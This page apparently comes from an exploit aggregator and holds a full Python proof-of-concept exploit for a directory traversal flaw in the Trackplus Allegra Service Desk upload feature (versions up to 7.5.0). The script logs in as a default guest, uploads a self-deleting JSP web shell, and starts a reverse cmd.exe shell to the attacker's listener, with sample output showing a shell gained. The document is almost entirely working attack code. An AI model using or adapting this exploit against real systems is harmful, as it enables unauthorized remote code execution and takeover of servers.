Share
## https://sploitus.com/exploit?id=SRC-2024-0001
#!/usr/bin/env python3
"""
Trackplus Allegra Service Desk Module UploadHelper upload Directory Traversal Remote Code Execution Vulnerability
Version: <= 7.5.0, bug was patched in 7.5.1
Vendor Advisory: https://www.trackplus.com/en/service/release-notes-reader/7-5-1-release-notes-2.html

# Summary

An authenticated guest attacker can execute arbitrary code by exploiting CVE-2023-50164.

# Notes

Even though authentication is required, an attacker can register a guest account by default on the target system. If that is not enough, there are several auth bypasses and default accounts enabled.

# Example

```
steven@DESKTOP-DHOMH1S:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.18.194 guest:trackplus 172.22.196.48

steven@DESKTOP-DHOMH1S:~$ ./poc.py 192.168.18.194 guest:trackplus 172.22.196.48
(+) obtained jsessionid A0149319749F14B6117CF5E1C964FBFF
(+) exploited CVE-2023-50164, uploaded ktnqiecy.jsp
(+) starting handler on port 1234
(+) connection from 172.22.192.1
(+) pop thy shell!
Microsoft Windows [Version 10.0.21996.1]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 9.0>whoami
whoami
nt authority\local service

C:\Program Files\Apache Software Foundation\Tomcat 9.0>
```
"""
import re
import sys
import random
import string
import requests
import socket
from threading import Thread
from telnetlib import Telnet
from colorama import Fore, Style, Back

def get_random_string(length):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def _get_jsp(ls, lp):
    jsp = f"""<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  // delete itself
  File f = new File(application.getRealPath("/" + this.getClass().getSimpleName().replaceFirst("_",".")));
  f.delete();
  class StreamConnector extends Thread
  {{
    InputStream sv;
    OutputStream tp;
    StreamConnector( InputStream sv, OutputStream tp )
    {{
      this.sv = sv;
      this.tp = tp;
    }}
    public void run()
    {{
      BufferedReader za  = null;
      BufferedWriter hjr = null;
      try
      {{
        za  = new BufferedReader( new InputStreamReader( this.sv ) );
        hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 )
        {{
          hjr.write( buffer, 0, length );
          hjr.flush();
        }}
      }} catch( Exception e ){{}}
      try
      {{
        if( za != null )
          za.close();
        if( hjr != null )
          hjr.close();
      }} catch( Exception e ){{}}
    }}
  }}
  try
  {{
    String ShellPath = new String("cmd.exe");
    Socket socket = new Socket("{ls}", {lp});
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  }} catch( Exception e ) {{}}
%>"""
    return jsp

def login(target, usr, pwd):
    r = requests.get(f"http://{target}/allegra/logon!restLogin.action", allow_redirects=False, params={
        "j_username" : usr,
        "j_password" : pwd
    })
    assert "Set-Cookie" in r.headers, "(-) login failed, no cookie!"
    m = re.search("^JSESSIONID=(.{32})", r.headers['set-cookie'])
    assert m, "(-) login failed, check credentials!"
    return m.group(1)

def upload(t, h, p, sid):
    uri = f"http://{t}/allegra/excelUpload.action"
    s = f"{get_random_string(8)}.jsp"
    r = requests.post(uri, params={
        "uploadFileFileName": f"../../../../Program Files/Apache Software Foundation/Tomcat 9.0/webapps/ROOT/{s}",
    }, files={
        'UploadFile': ("junk.txt", _get_jsp(h, p), 'text/si')
    }, cookies={
        "JSESSIONID" : sid
    }, allow_redirects=False)
    assert r.status_code == 302, "(-) upload failed"
    return s

def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print(f"(+) {Fore.RED + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
    t.interact()

def main():
    if len(sys.argv) != 4:
        print(f"(+) usage: {sys.argv[0]}")
        print(f"(+) eg: {sys.argv[0]} 192.168.18.194 guest:trackplus 172.22.196.48")
        sys.exit(1)
    t = sys.argv[1]
    c = sys.argv[2]
    assert ":" in c, "(-) username and password not formatted correctly!"
    h = sys.argv[3]
    p = 1234
    if ":" in sys.argv[3]:
        p = int(sys.argv[3].split(":")[1])
        h = sys.argv[3].split(":")[0]
    # default guest account is guest/trackplus but an attacker can register their own anyway
    sid = login(t, c.split(":")[0], c.split(":")[1])
    print(f"(+) obtained jsessionid {sid}")
    s = upload(t, h, p, sid)
    print(f"(+) exploited CVE-2023-50164, uploaded {s}")
    handlerthr = Thread(target=handler, args=[p])
    handlerthr.start()
    requests.get(f"http://{t}/{s}")

if __name__ == '__main__':
    main()